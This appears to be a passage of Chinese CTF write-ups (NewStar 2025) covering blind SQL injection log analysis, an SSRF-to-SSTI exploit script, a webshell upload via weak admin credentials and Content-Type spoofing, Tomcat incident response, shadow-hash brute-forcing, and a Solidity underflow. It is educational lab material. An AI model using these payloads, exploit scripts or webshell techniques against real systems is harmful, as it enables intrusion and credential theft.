GET /Mimikyu-main/sqli/Less-5/?id=1 HTTP/1.1 5 0.004781 171.16.20.89 171.16.20.55 HTTP 1091 HTTP/1.1 200 OK (text/html) 13 0.050044 171.16.20.55 171.16.20.89 HTTP 528 GET /Mimikyu-main/sqli/Less-5/?id=1&VuTj=4838%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1 17 0.063173 171.16.20.89 171.16.20.55 HTTP 1091 HTTP/1.1 200 OK (text/html) 22 0.500164 171.16.20.55 171.16.20.89 HTTP 264 GET /Mimikyu-main/sqli/Less-5/?id=1 HTTP/1.1 26 0.513979 171.16.20.89 171.16.20.55 HTTP 1091 HTTP/1.1 200 OK (text/html) 31 0.534252 171.16.20.55 171.16.20.89 HTTP 267 GET /Mimikyu-main/sqli/Less-5/?id=2403 HTTP/1.1 35 0.547576 171.16.20.89 171.16.20.55 HTTP 1124 HTTP/1.1 200 OK (text/html) 40 0.560905 171.16.20.55 171.16.20.89 HTTP 282 GET /Mimikyu-main/sqli/Less-5/?id=1.%27....%29%22%28. HTTP/1.1 44 0.573751 171.16.20.89 171.16.20.55 HTTP 1289 HTTP/1.1 200 OK (text/html) 49 0.589913 171.16.20.55 171.16.20.89 HTTP 291 GET /Mimikyu-main/sqli/Less-5/?id=1%27PAsPCJ%3C%27%22%3ErygoAq HTTP/1.1 53 0.602024 171.16.20.89 171.16.20.55 HTTP 1297 HTTP/1.1 200 OK (text/html) 58 2.354146 171.16.20.55 171.16.20.89 HTTP 310 GET /Mimikyu-main/sqli/Less-5/?id=1%29%20AND%206968%3D6115%20AND%20%285352%3D5352 HTTP/1.1 62 2.366790 171.16.20.89 171.16.20.55 HTTP 1091 HTTP/1.1 200 OK (text/html) 67 2.382380 171.16.20.55 171.16.20.89 HTTP 310 GET /Mimikyu-main/sqli/Less-5/?id=1%29%20AND%209470%3D9470%20AND%20%283705%3D3705 HTTP/1.1 71 2.395483 171.16.20.89 171.16.20.55 HTTP 1091 HTTP/1.1 200 OK (text/html) 76 2.411671 171.16.20.55 171.16.20.89 HTTP 284 GET /Mimikyu-main/sqli/Less-5/?id=1%20AND%204136%3D2183 HTTP/1.1 80 2.424913 171.16.20.89 171.16.20.55 HTTP 1091 HTTP/1.1 200 OK (text/html) 85 2.444428 171.16.20.55 171.16.20.89 HTTP 284 GET /Mimikyu-main/sqli/Less-5/?id=1%20AND%209470%3D9470 HTTP/1.1 89 2.456971 171.16.20.89 171.16.20.55 HTTP 1091 HTTP/1.1 200 OK (text/html) ```` 2. 透過植入的恆真/恆假測試(如 `AND 24=24` 與 `AND 24=85`)比對得出布林映射: - True → 回應長度 1091 - False → 回應長度 1124 3. 將每個 Client 的 GET 請求與下一個 Server 的 `HTTP/1.1 200 OK` 配對,解析請求 URL 中的盲注探測式: - 形式:`ORD(MID((SELECT … LIMIT offset,1), pos, 1)) > threshold`(亦有 `= value` 的等號探測) - 依相同的 `(target, offset, pos)` 聚合多次探測,推回單一字元的 ASCII 值 4. 針對不同 target 還原: - Schemas(INFORMATION_SCHEMA.SCHEMATA) - `newstar2025` 的 Tables(INFORMATION_SCHEMA.TABLES) - `newstar2025.week4` 的 Columns(INFORMATION_SCHEMA.COLUMNS) - `newstar2025.week4` 的實際資料:`SELECT IFNULL(CAST(value AS NCHAR),0x20) FROM newstar2025.week4 ORDER BY id LIMIT n,1` ## 腳本: ```py import re import os import sys from urllib.parse import unquote from collections import defaultdict, Counter LOG_PATH = os.path.join(os.path.dirname(__file__), 'blindsql.log') def read_log_pairs(path: str): """ 讀取 log,回傳 (req_info_decoded, resp_len) 的串列。 演算法:逐行掃描,遇到 Client GET 記錄後,尋找其後第一個 Server->Client 且包含 "HTTP/1.1 200 OK" 的記錄,採其 Length。 """ pairs = [] pending = None # (line_no, decoded_get) with open(path, encoding='utf-8', errors='ignore') as f: for raw in f: raw = raw.rstrip('\n') if not raw or not re.match(r'^\d+\t', raw): continue parts = raw.split('\t') if len(parts) < 7: continue try: no = int(parts[0]) except Exception: continue src = parts[2].strip() dst = parts[3].strip() proto = parts[4].strip() info = parts[6].strip() # 拿 Length 欄位,必要時轉 int try: length = int(parts[5].strip()) except Exception: length = None if proto == 'HTTP' and 'GET ' in info and src.endswith('.55') and dst.endswith('.89'): # 只收對目標主機的 GET;解碼 URL 便於 regex # 只萃取 "GET ... HTTP/1.1" 中間的路徑查詢 m = re.search(r'GET\s+([^ ]+)\s+HTTP/1\.1', info) if not m: continue path_q = m.group(1) decoded = unquote(path_q) pending = (no, decoded) continue if pending and proto == 'HTTP' and src.endswith('.89') and dst.endswith('.55') and 'HTTP/1.1 200 OK' in info and length is not None: # 配對成功 pairs.append((pending[1], length)) pending = None return pairs def learn_bool_mapping(pairs): """ 根據已知恆真/恆假測試,學習回應長度對應布林值。 - 找到包含 " AND 24=24 " 的請求,視為 True - 找到包含 " AND 24=85 " 的請求,視為 False 若學不到,回退常見對應:1091->True, 1124->False 回傳: true_len, false_len """ t_counter = Counter() f_counter = Counter() for req, L in pairs: if ' AND 24=24 ' in req: t_counter[L] += 1 if ' AND 24=85 ' in req: f_counter[L] += 1 true_len = 1091 false_len = 1124 if t_counter: true_len = t_counter.most_common(1)[0][0] if f_counter: false_len = f_counter.most_common(1)[0][0] return true_len, false_len def collect_ord_tests(pairs, true_len, false_len): """ 解析 ORD(MID((SELECT ...), pos,1)) 的 '>' 與 '=' 測試。 回傳: tests[(key, off, pos)] -> list[('gt', th, is_true) | ('eq', val)] """ tests = defaultdict(list) # 大於與等於兩種樣式 gt_re = re.compile(r"ORD\(MID\(\((SELECT\s+.+?)\)\s*,\s*(\d+)\s*,\s*1\)\)>(\d+)", re.IGNORECASE) eq_re = re.compile(r"ORD\(MID\(\((SELECT\s+.+?)\)\s*,\s*(\d+)\s*,\s*1\)\)=(\d+)", re.IGNORECASE) limit_re = re.compile(r"LIMIT\s+(\d+)\s*,\s*1", re.IGNORECASE) for req, L in pairs: for regex, kind in ((gt_re, 'gt'), (eq_re, 'eq')): m = regex.search(req) if not m: continue sel = m.group(1) pos = int(m.group(2)) val = int(m.group(3)) off = None mo = limit_re.search(sel) if mo: off = int(mo.group(1)) key = re.sub(r"\s+", " ", sel.strip()) if kind == 'gt': tests[(key, off, pos)].append(('gt', val, L == true_len)) else: tests[(key, off, pos)].append(('eq', val)) return tests def infer_char(obs): """ 根據觀測推斷單一字元。優先使用等號 (=val)。否則用 '>' 界定區間。 """ if not obs: return '?' eqs = [v for k, v, *rest in ((o[0], o[1], *o[2:]) for o in obs) if k == 'eq'] if eqs: c = eqs[0] return chr(c) if 0 <= c <= 255 else '?' lows = [v for k, v, b in obs if k == 'gt' and b] highs = [v for k, v, b in obs if k == 'gt' and not b] lower = max(lows) if lows else None upper = min(highs) if highs else None if lower is not None and upper is not None: c = upper if upper - lower <= 1 else lower + 1 elif lower is not None: c = lower + 1 elif upper is not None: c = upper else: return '?' c = max(32, min(126, c)) return chr(c) def reconstruct_strings(tests): """ 把觀測轉成每目標 key、offset 的字串。 """ pos_map_all = defaultdict(lambda: defaultdict(dict)) # key -> off -> {pos: char} for (key, off, pos), obs in tests.items(): ch = infer_char(obs) pos_map_all[key][off][pos] = ch recon = defaultdict(dict) # key -> off -> str for key, by_off in pos_map_all.items(): for off, pos_map in by_off.items(): if not pos_map: continue max_pos = max(pos_map) s = ''.join(pos_map.get(i, '?') for i in range(1, max_pos + 1)) recon[key][off] = s return recon def pick_outputs(recon): """ 從重建結果挑選關鍵輸出,並做最小整理/去重。 """ schemata = [] tables = [] columns = [] values = {} schema_hex = '6e65777374617232303235' # 'newstar2025' for key, by_off in recon.items(): ukey = key.upper() # SCHEMATA if 'FROM INFORMATION_SCHEMA.SCHEMATA' in ukey: for off, s in by_off.items(): if off is None: continue schemata.append((off, s.strip())) # TABLES (only newstar2025) elif 'FROM INFORMATION_SCHEMA.TABLES' in ukey and f'TABLE_SCHEMA=0X{schema_hex.upper()}' in ukey: for off, s in by_off.items(): if off is None: continue tables.append((off, s.strip())) # COLUMNS (week4) elif 'FROM INFORMATION_SCHEMA.COLUMNS' in ukey and 'TABLE_NAME=0X7765656B34' in ukey and f'TABLE_SCHEMA=0X{schema_hex.upper()}' in ukey: for off, s in by_off.items(): if off is None: continue columns.append((off, s.strip())) # VALUES (week4) elif ' FROM NEWSTAR2025.WEEK4 ' in ukey: for off, s in by_off.items(): # 對同 offset 取最長字串以去重/補齊 if off is None: continue cur = values.get(off) if cur is None or len(s) > len(cur): values[off] = s.strip() schemata.sort() tables.sort() columns.sort() value_rows = sorted(values.items()) return schemata, tables, columns, value_rows def main(): path = LOG_PATH if not os.path.isfile(path): print('blindsql.log 不存在,請放在本腳本同資料夾。') sys.exit(1) print('[*] 讀取與配對請求/回應...') pairs = read_log_pairs(path) print(f'[*] 總配對數: {len(pairs)}') print('[*] 學習回應長度對應布林值...') t_len, f_len = learn_bool_mapping(pairs) print(f' True -> Length {t_len}, False -> Length {f_len}') print('[*] 擷取 ORD(MID(...)) 測試...') tests = collect_ord_tests(pairs, t_len, f_len) print(f' 測試點數: {len(tests)}') print('[*] 重建與匯總...') recon = reconstruct_strings(tests) schemata, tables, columns, value_rows = pick_outputs(recon) lines = [] lines.append('=== SCHEMATA ===') for off, s in schemata: lines.append(f'[{off}] {s}') lines.append('') lines.append('=== TABLES OF newstar2025 ===') for off, s in tables: lines.append(f'[{off}] {s}') lines.append('') lines.append('=== COLUMNS (newstar2025.week4) ===') for off, s in columns: lines.append(f'[{off}] {s}') lines.append('') lines.append('=== NEWSTAR2025.WEEK4 VALUE ===') for off, s in value_rows: lines.append(f'[{off}] {s}') lines.append('') out_path = os.path.join(os.path.dirname(__file__), 'reconstruct_out.txt') with open(out_path, 'w', encoding='utf-8') as f: f.write('\n'.join(lines)) print('[*] NEWSTAR2025.WEEK4 value (by id asc):') for off, s in value_rows: print(f' - [{off}] {s}') print(f'[*] 已輸出: {out_path}') if __name__ == '__main__': main() ``` ## 結果 ```bin [*] 讀取與配對請求/回應... [*] 總配對數: 963 [*] 學習回應長度對應布林值... True -> Length 1091, False -> Length 1124 [*] 擷取 ORD(MID(...)) 測試... 測試點數: 169 [*] 重建與匯總... [*] NEWSTAR2025.WEEK4 value (by id asc): - [0] flag{blind_injection_Re@lly_Biggg!} ``` ## 最終 Flag ``` flag{blind_injection_Re@lly_Biggg!} ``` # Web 题目 # [Web] ssti在哪里? ## 题目信息 - **题目名称**: ssti在哪里? - **访问方式**: http://8.147.132.32:23823/ ## 技术分析(服务链路) 1. 前端为 PHP 页面 `index.php`,接受 POST 字段 `url` 并用 curl 拉取该 URL 2. 容器内运行两个 Flask: - `app.py`:接收 `name`,转发 form POST 到 `http://localhost:5001/`; - `internal_web.py`(127.0.0.1:5001):`render_template_string(template)` 渲染 POST `template` 字段。 3. 组合成 SSRF(PHP curl/gopher)→ 内部 HTTP(127.0.0.1:5000)→ Jinja SSTI 的利用链。 ## 利用思路与关键点 - 通过 `url` 触发 curl 的 gopher:// 请求,向 `127.0.0.1:5000` 发送原始 HTTP:`name=`。 - `app.py` 收到后把 `name` 当 `template` 转发给 `internal_web.py`,直接被 `render_template_string` 渲染。 - 在模板上下文中可取到 `config/request/g` 等对象,通过 `__globals__` 访问 `os` 并读取环境变量(镜像内设置了 `ICQ_FLAG`)。 ### 关键 payload 读取环境变量: ``` {{ (config.__class__.__init__.__globals__.get('os') or globals().get('os')).environ.get('ICQ_FLAG','') }} ``` 说明:优先走 `config.__class__.__init__.__globals__`,失败再回退到 `globals()`,并用 `.get` 避免 KeyError 触发 500。 ## 构造 raw HTTP + gopher 将下述原始请求整体 URL 编码后,拼到 `gopher://127.0.0.1:5000/_`,作为 `url` 提交给前端: POST / HTTP/1.1\r\n Host: 127.0.0.1:5000\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: \r\n \r\n name= ## 脚本 Python 自动脚本 ```py import sys from urllib.parse import quote import requests DEFAULT_HOST = '8.147.132.32' DEFAULT_PORT = 23823 TEMPLATE_PAYLOAD = "{{ (config.__class__.__init__.__globals__.get('os') or globals().get('os')).environ.get('ICQ_FLAG','') }}" def build_gopher(payload: str) -> str: body = f'name={payload}' raw = f"POST / HTTP/1.1\r\nHost: 127.0.0.1:5000\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(body.encode('utf-8'))}\r\n\r\n" + body return 'gopher://127.0.0.1:5000/_' + quote(raw, safe='') def main(argv): host = argv[1] if len(argv) > 1 else DEFAULT_HOST port = int(argv[2]) if len(argv) > 2 else DEFAULT_PORT payload = argv[3] if len(argv) > 3 else TEMPLATE_PAYLOAD url = f'http://{host}:{port}/' g = build_gopher(payload) print('[*] POSTing to', url) print('[*] gopher preview:', g[:200] + '...') try: r = requests.post(url, data={'url': g}, timeout=15) print({'url': g}) except Exception as e: print('[!] error:', e) if __name__ == '__main__': main(sys.argv) ``` 成功获取flag: ``` flag{c98d678c-ac8d-4620-b5cb-22b02f82d765} ``` --- # [Web] 武功秘籍 ## 题目信息 - **题目名称**: 武功秘籍 - **访问方式**: https://eci-2zee2enr78t0ajkl90d6.cloudeci1.ichunqiu.com:80 ## 题面理解与线索 - 题目强调了「CVE(公共漏洞与暴露)」。打开网站,发现网站系统为「稻草人企业站管理系统」。 - 公开文章提示其后台存在弱口令与上传校验可绕过,能在后台通过图片上传点上载一句话木马并在文件管理中找到可执行的 PHP 文件。 ## 解题步骤 参考:`https://blog.csdn.net/qq_53079406/article/details/127238674` ### 1) 后台登录(弱口令) 1. 访问后台登录页(可按参考文章给出的后台路径或从页面线索推断)。 2. 题面给出的账号密码不可用,尝试弱口令 `admin/admin`,成功登录后台。 - 若失败,可按通用方法进行弱口令爆破(详见前面week WP,此处略)。 ### 2) 添加新闻并上传一句话 WebShell(前端拦截) 1. 后台依流程:先添加「新闻类目」,再「添加新闻」。 2. 在新闻的缩略图上传处准备一句话木马 `webshell.php`: ```php ``` 3. 直接上传会提示不允许,说明存在扩展名/MIME 限制。 ### 3) 抓包改 Content-Type 绕过上传限制 抓包工具安装参考:`https://blog.csdn.net/qq_33204709/article/details/145829712` 1. 使用抓包工具(Burp Suite)拦截上传请求。 2. 将该文件部件的 `Content-Type` 修改为 `image/jpeg`,保持文件名仍为 `webshell.php`。 3. 转发请求后即可成功上传。 ### 4) 在文件管理中定位上传文件 1. 进入:系统管理 → 文件管理 → `uploads/news`。 2. 在按日期划分的目录中找到刚才上传的文件,记录访问 URL,例如: ``` https://eci-2zee2enr78t0ajkl90d6.cloudeci1.ichunqiu.com//uploads/news/2025_10_17/2510171110424590.php ``` ### 5) 用中国蚁剑连接 WebShell 拿 Flag 1. 打开中国蚁剑,新建: - 类型:PHP - URL:填写上一步的文件 URL - 密码:`flag`(对应木马中 `$_POST['flag']`) 2. 连接成功后在站点根目录找到 `flag` 文件,在根目录即可得到本题 flag。 成功获取flag: ``` flag{c2180556-9da2-4840-aa76-4aaeeece357b} ``` --- # Week 5 # [Misc] 应急响应-把你mikumiku掉-3 ## 题目信息 - 题目名称:应急响应-把你mikumiku掉-3 - 题目内容:被加密文件里面的内容是什么? ## 解题过程 ### 1. 系统初步排查 首先登入 `sudo -i` root避免一些权限不足问题 然后查看根目录结构: ```bash ls -la / ``` **关键输出**: ``` total 3968944 drwxr-xr-x 23 root root 4096 Oct 20 05:03 . drwxr-xr-x 23 root root 4096 Oct 20 05:03 .. lrwxrwxrwx 1 root root 7 Apr 22 2024 bin -> usr/bin drwxr-xr-x 2 root root 4096 Feb 26 2024 bin.usr-is-merged drwxr-xr-x 4 root root 4096 Oct 16 20:24 boot dr-xr-xr-x 2 root root 4096 Aug 27 2024 cdrom drwxr-xr-x 20 root root 3960 Oct 20 04:43 dev drwxr-xr-x 118 root root 4096 Oct 20 04:43 etc drwxr-xr-x 3 root root 4096 Oct 17 05:27 home lrwxrwxrwx 1 root root 7 Apr 22 2024 lib -> usr/lib lrwxrwxrwx 1 root root 9 Apr 22 2024 lib64 -> usr/lib64 drwx------ 2 root root 16384 Oct 16 20:10 lost+found drwxr-xr-x 2 root root 4096 Aug 27 2024 media -rwxr-xr-x 1 mikuu mikuu 16456 Oct 17 14:09 mikumikumiku drwxr-xr-x 2 root root 4096 Aug 27 2024 mnt drwxr-xr-x 3 root root 4096 Oct 16 20:31 opt dr-xr-xr-x 333 root root 0 Oct 20 04:43 proc drwx------ 5 root root 4096 Oct 20 04:44 root drwxr-xr-x 23 root root 700 Oct 20 04:43 run lrwxrwxrwx 1 root root 8 Apr 22 2024 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Apr 3 2024 sbin.usr-is-merged drwxr-xr-x 2 root root 4096 Oct 16 20:17 snap drwxr-xr-x 2 root root 4096 Aug 27 2024 srv -rw------- 1 root root 4955891968 Oct 16 20:12 swap.img dr-xr-xr-x 13 root root 0 Oct 20 04:43 sys drwxrwxrwt 9 root root 4096 Oct 20 10:46 tmp drwxr-xr-x 14 root root 4096 Oct 17 05:41 usr drwxr-xr-x 13 root root 4096 Oct 20 04:43 var ``` **关键发现**: - `mikumikumiku` 文件 - `file /mikumikumiku`,是ELF可执行文件 直接运行程序: ```bash /mikumikumiku ``` 输出: ```text +++++++++ IY++ RES++ ... +++++++++ flag.txt ``` 分析:程序期望读取当前目录下的 flag.txt 文件作为输入。 ### 2. 在系统中搜索可疑文件: ```bash # 查找与flag相关的文件 find / -name "*flag*" | head -30 ``` 发现关键文件: ```text /home/mikuu/flag.miku ``` ### 3. 分析加密文件 查看加密文件内容: ```bash cat /home/mikuu/flag.miku ``` 输出为乱码,确认是加密后的二进制文件。 ### 5. 运行加密工具获取参数 ```bash cp /home/mikuu/flag.miku ./flag.txt /mikumikumiku ``` **关键输出**: ``` ++++++++ IV++ AES+ + ... ++++++++++++ flag.enc ++++++++ 123456789ABCDEF01122334455667788 ++++ IV+ 19198101145140EFFEDCBA9876543210 ``` ### 6. 解密过程 ```bash # 使用OpenSSL解密 openssl aes-128-cbc -d -in /home/mikuu/flag.miku -out decrypted.txt -K 123456789ABCDEF01122334455667788 -iv 19198101145140EFFEDCBA9876543210 # 查看解密结果 cat decrypted.txt ``` **成功输出**:`flag{Miku_miku_oo_ee_oo}` 最终答案: ``` flag{Miku_miku_oo_ee_oo} ``` --- # [应急响应] 应急响应-把你mikumiku掉-1 ## 题目信息 - 题目名称:应急响应-把你mikumiku掉-1 - 题目内容:城邦为世界第一公主殿下搭建了网站,突然受到了CVE组织的攻击,你能帮城邦对服务器进行排查吗 - 账号:newstar 密码:newstar - 目标:找到攻击者使用的漏洞编号 ## 解题过程 ### 1. 系统初步排查 首先登录系统: ```bash newstar login: newstar Password: newstar sudo -i #登入root newstar ``` **思考过程**:题目提到网站被攻击,需要先找到Web服务相关文件和日志。 检查根目录结构: ```bash ls -la / ``` **关键发现**: - `/mikumikumiku` 文件(可能是后门) - `/opt/tomcat` 目录(存在Web服务) ### 2. Web服务排查 检查Tomcat目录: ```bash ls -la /opt/tomcat/ ls -la /opt/tomcat/REELASE-NOTES | grep -i 'version' ``` **发现**:Tomcat 9.0.98版本,`webapps/ROOT`目录下存在可疑文件`miku.jsp` 检查webshell文件: ```bash cat /opt/tomcat/webapps/ROOT/miku.jsp ``` **发现**:这是一个JSP内存马,用于持久化控制。 ### 3. 日志分析排查 查看Tomcat访问日志: ```bash ls -la /opt/tomcat/logs/ cat /opt/tomcat/logs/localhost_access_log.2025-10-17.txt | grep "miku.jsp" ``` **关键发现**: ``` 192.168.100.1 - [17/Oct/2025:04:53:07 +0000] "PUT /xxxxx/session HTTP/1.1" 409 653 192.168.100.1 - [17/Oct/2025:04:53:19 +0000] "GET /miku.jsp HTTP/1.1" 500 2244 ``` **思考过程**:攻击者通过`PUT /xxxxx/session`请求创建了`miku.jsp`文件,这明显是Session反序列化攻击的特征。 ### 4. 配置检查 检查Tomcat配置: ```bash grep -A1 -B1 "readonly" /opt/tomcat/conf/web.xml ``` **输出**: ```xml readonly false ``` **发现**:`readonly`设置为`false`,允许PUT方法上传文件。 **试错过程**: 1. 首先尝试 `CVE-2017-12615` - Tomcat PUT方法任意文件上传(答案错误) 2. 尝试 `CVE-2017-12617` - CVE-2017-12615的绕过(答案错误) 3. 尝试 `CVE-2020-9484` - Tomcat Session反序列化(答案错误) 4. 尝试 `CVE-2020-35492` - Tomcat 9.x PUT方法上传(答案错误) **最终发现**:通过搜寻引擎搜寻关键讯息`cve Apache Tomcat Session 反序列化 RCE`,发现这是[**CVE-2025-24813**](https://www.cnblogs.com/smileleooo/p/18772389) ### 6. 漏洞原理分析 根据CVE描述,这是一个Tomcat RCE漏洞: - **影响版本**:Tomcat 9.0.0-M1 至 9.0.98 - **利用条件**: - `readonly=false` - 启用部分PUT请求支持 - 使用基于文件的会话持久化 - **攻击方式**:通过不完整的PUT请求将恶意序列化数据写入会话文件,触发反序列化执行任意代码 ## 最终答案 ``` flag{CVE-2025-24813} ``` --- # [应急响应] 应急响应-把你mikumiku掉-2 ## 题目信息 * **题目**:应急响应-把你mikumiku掉‑2 * **目标**:找到两段字符串并拼成 `flag{木马连接密码_恶意用户密码}` * **提示**:恶意用户密码是 **6 位、来自特定字母范围** --- ## 环境说明 * 系统:Ubuntu 24.04.x LTS(题目提供 VM / 靶机) * 登录:`newstar / newstar`(题面信息)→ `sudo -i` 切到 root,避免权限阻碍。 --- ## 解题过程 **总体思路** 1. **定位 WebShell & 连接口令** * 搜 WebRoot 下的 JSP; * 打开可疑文件,判断“连接密码”的表达方式; * **结合访问日志**确认攻击者**实际使用的是哪只木马**,以其“参数名”作为“木马连接密码”。 2. **确定恶意本地用户并爆破其口令** * 从 `/etc/shadow` 抠出恶意用户(`mikuu`)的哈希; * 根据“**6 位特定范围字母**”限制,**小字母表掩码爆破**; 3. **拼装 flag** * `flag{_<恶意用户明文>}` --- ## Step 1:WebShell 排查 → 确定“木马连接密码” ### 1.1 在 WebRoot 中找可疑 JSP ```bash ls -la /opt/tomcat/webapps/ROOT ``` **关键发现**:目录下存在两只可疑 JSP:`miku.jsp`、`mikuu.jsp`。 查看内容(摘出关键信息): ```bash # miku.jsp cat /opt/tomcat/webapps/ROOT/miku.jsp …… String cls = request.getParameter("passwd"); …… ``` ```bash # mikuu.jsp cat /opt/tomcat/webapps/ROOT/mikuu.jsp …… String cls = request.getParameter("miiikuuu"); …… ``` **解释**:这两份 JSP 都是**类加载型 WebShell**: * 客户端把恶意类**Base64**后作为 HTTP 参数上传; * 服务器端用 `defineClass` 直接加载执行。 * **连接口令**通常就是**参数名**。 > 直观上,两只马的“口令”分别是: > `miku.jsp` → **passwd**;`mikuu.jsp` → **miiikuuu**。 ### 1.2 结合访问日志,确认**哪只马被实际使用** ```bash # 在 Tomcat 访问日志里搜这两个文件名 grep -hE 'miku\.jsp|mikuu\.jsp' /opt/tomcat/logs/* 2>/dev/null | tail -n 30 ``` **实际输出摘录**: ``` 192.168.100.1 - - [17/Oct/2025:04:54:01 +0000] "GET /miku.jsp HTTP/1.1" 500 2244 192.168.100.1 - - [17/Oct/2025:04:54:10 +0000] "POST /miku.jsp HTTP/1.1" 500 2287 192.168.100.1 - - [17/Oct/2025:05:04:57 +0000] "GET /mikuu.jsp HTTP/1.1" 200 3 192.168.100.1 - - [17/Oct/2025:05:05:16 +0000] "POST /mikuu.jsp HTTP/1.1" 200 29 ……(大量 POST /mikuu.jsp 均为 200)…… ``` **结论**: * `miku.jsp` 只有 1 次 GET + 1 次 POST 且 **500**(失败)。 * `mikuu.jsp` 则有大量 **POST 200**(成功)。 因此**攻击者真正使用的是 `mikuu.jsp`**。也就是说,本题的**“木马连接密码”= `miiikuuu`**。 --- ## Step 2:恶意用户口令爆破(yescrypt,6 位特定字母) ### 2.1 抽取恶意用户条目 查看 `/etc/shadow`(节选): ```bash cat /etc/shadow …… newstar:$6$k6qXTMHcxaBl551v$7xo8GZkDoo……:20377:…… mikuu:$y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8:20378:::::: ``` `mikuu` 的哈希以 **`$y$`** 开头,说明是 **yescrypt**。 题面提示口令为**6 位**特定范围字母)。 只取 `mikuu` 一行,生成输入文件: ```bash grep -E '^mikuu:' /etc/shadow > /root/u ``` #### 尝试 1:apt 版 `john`(非 jumbo) ```bash apt update && apt install -y john john --mask='?l?l?l?l?l?l' /root/u # 报错:Unknown option: "--mask=?l?l?l?l?l?l" ``` #### 尝试 2:snap 版 `john-the-ripper` ```bash snap install john-the-ripper /snap/bin/john-the-ripper --list=formats | grep -i yescrypt # Error: No format matched requested name 'yescrypt' ``` ### 2.2 Python 直接验 yescrypt 根据系列题语义与题面“特定范围”的指引,优先尝试**与主题相关的小字母表**:`{m, i, k, u, o, e}`。 **命令**: ```bash # 再保险地取一次 mikuu 的 shadow 行 grep '^mikuu:' /etc/shadow > /root/u # 用 {m,i,k,u,o,e} 做 6 位全组合,命中即拼 flag(木马连接密码=miiikuuu) ALPH=mikueo python3 - <<'PY' import os, sys, itertools, crypt, warnings warnings.filterwarnings("ignore") h=open('/root/u').read().split(':',2)[1] alphabet=os.environ.get('ALPH','mikueo') for tup in itertools.product(alphabet, repeat=6): s=''.join(tup) if crypt.crypt(s, h) == h: print(f"flag{{miiikuuu_{s}}}") sys.exit(0) print("NOT_FOUND") PY ``` Output: ```bash :1: DeprecationWarning: 'crypt' is deprecated and slated for removal in Python 3.13 flag{miiikuuu_miiiku} ``` ## 最终答案 ```text flag{miiikuuu_miiiku} ``` --- # [Misc] 区块链-INTbug ## 题目信息 - **题目名称**: 区块链-INTbug - **合约地址**: 0xB6748b3B308b382E28438cc72872e2D70369D90b - **区块链网络**: Sepolia 测试链 ## 解题步骤 ### 1. 合约分析 ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleOverflowVault { string private flag = "flag{fake_fake_fake}"; mapping(address => bool) public unlocked; mapping(address => uint256) public userPoints; uint256 public totalPoints; mapping(address => uint256) private userSpentPoints; event PointsAdded(address indexed user, uint256 points); event PointsUsed(address indexed user, uint256 points); constructor() { totalPoints = 0; userSpentPoints[msg.sender] = 1000; } function addPoints(uint256 points) external { require(points > 0, "Points must be greater than 0"); if (userSpentPoints[msg.sender] == 0) { userSpentPoints[msg.sender] = 1000; } userPoints[msg.sender] += points; totalPoints += points; emit PointsAdded(msg.sender, points); } function usePoints(uint256 points) external { require(points > 0, "Points must be greater than 0"); require(userPoints[msg.sender] >= points, "Insufficient points"); if (userSpentPoints[msg.sender] == 0) { userSpentPoints[msg.sender] = 1000; } userPoints[msg.sender] -= points; unchecked { totalPoints -= points; userSpentPoints[msg.sender] -= points; } if (userSpentPoints[msg.sender] > 1000) { unlocked[msg.sender] = true; } emit PointsUsed(msg.sender, points); } function getFlag() external view returns (string memory) { require(unlocked[msg.sender], "Vault is locked. Trigger integer underflow first!"); return flag; } function getSpentPoints() external view returns (uint256) { return userSpentPoints[msg.sender] == 0 ? 1000 : userSpentPoints[msg.sender]; } function resetUser() external { uint256 userCurrentPoints = userPoints[msg.sender]; if (userCurrentPoints > 0) { unchecked { totalPoints -= userCurrentPoints; } userPoints[msg.sender] = 0; } userSpentPoints[msg.sender] = 1000; unlocked[msg.sender] = false; } } ``` #### 关键状态变量 ```solidity string private flag = "flag{fake_fake_fake}"; mapping(address => bool) public unlocked; mapping(address => uint256) public userPoints; uint256 public totalPoints; mapping(address => uint256) private userSpentPoints; ``` #### 核心函数功能 1. `addPoints()` - 添加用户积分 2. `usePoints()` - 使用用户积分 3. `getFlag()` - 获取flag(需要解锁状态) 4. `resetUser()` - 重置用户状态 ### 2. 漏洞挖掘 `usePoints()` 函数中的 `unchecked` 代码块: ```solidity unchecked { totalPoints -= points; userSpentPoints[msg.sender] -= points; } if (userSpentPoints[msg.sender] > 1000) { unlocked[msg.sender] = true; } ``` #### 漏洞原理 1. **初始状态**: 每个用户的 `userSpentPoints` 初始值为 1000 2. **下溢触发**: 当 `points > userSpentPoints[msg.sender]` 时,减法操作发生下溢 3. **数学原理**: - 正常情况: `1000 - 1001 = -1` - 无符号整数下溢: `1000 - 1001 = 2^256 - 1` 4. **条件满足**: `2^256 - 1 > 1000` 永远为真,触发解锁 **利用工具**: - Remix IDE - MetaMask 钱包 - Sepolia 测试网 ETH ### 4. 利用过程 [參考](https://blog.csdn.net/Maolei_NyaRu_/article/details/151724470) ## **步骤1**: 配置环境 ### MetaMask 连接到 Sepolia 测试网 - 访问 `https://developer.metamask.io/` 在 `Infura RPC` 中 `Active Endpoints` 找到 `Ethereum Sepolia` 复制 `Ethereum Sepolia` 的 HTTPS 端点 - 在 MetaMask 中 点击 "Add network" 手动添加 ```text 网络名称: Sepolia RPC URL: Ethereum Sepolia 的 HTTPS 端点 链 ID: 11155111 货币符号: ETH 区块浏览器: https://sepolia.etherscan.io ``` ### 获取 Sepolia [测试 ETH](https://cloud.google.com/application/web3/faucet/ethereum/sepolia) ## **步骤2**: 与合约交互 打开 `Remix Desktop` 打开题目附件所在 `week5_intbug_user.sol` 的文件夹 然后在上方点击三角形按钮 在 Remix 界面的最左侧,会看到一列垂直的图标: 点击那个看起来像右下角有个小火箭?(`反正是一个好像四边形的东西`)的图标或者鼠标悬停在图标上会显示 "Deploy & Run Transactions" 点击后,主界面会显示以下内容: ```text ENVIRONMENT 下拉菜单 ACCOUNT GAS LIMIT VALUE CONTRACT At Address ``` 在 ENVIRONMENT 